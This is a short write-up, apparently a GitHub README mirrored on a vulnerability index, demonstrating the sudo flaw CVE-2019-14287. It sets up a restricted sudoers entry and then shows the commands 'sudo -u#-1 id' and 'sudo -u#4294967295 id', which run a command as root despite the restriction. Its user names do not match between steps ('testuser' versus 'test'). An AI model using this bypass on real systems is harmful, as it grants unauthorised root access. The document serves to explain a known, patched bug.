关联漏洞
介绍
# CVE-2019-14287-write-up #
4294967295
Sudo Bug Allows Restricted Users to Run Commands as Root
## DEMONSTRATION OF VULNERABILITY
### Add a new user:
sudo su - root
useradd -m -s /bin/bash testuser
passwd testuser // add password to user
visudo
### Add a new entry
test ALL=(ALL, !root) /usr/bin/id // specifying that this user cannot use id command with root user
SAVE THE FILE AND EXIT FROM ROOT USER
### LOGON TO TEST USER
sudo su - test
### Write command
sudo id
YOU WILL BE PROMPTED WITH MESSAGE Sorry, user test is not allowed to execute '/usr/bin/id' as root
### NOW WRITE COMMAND
sudo -u#-1 id
OR
sudo -u#4294967295 id
And there go, you have executed id command using root
文件快照
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└── [ 696] README.md
0 directories, 1 file
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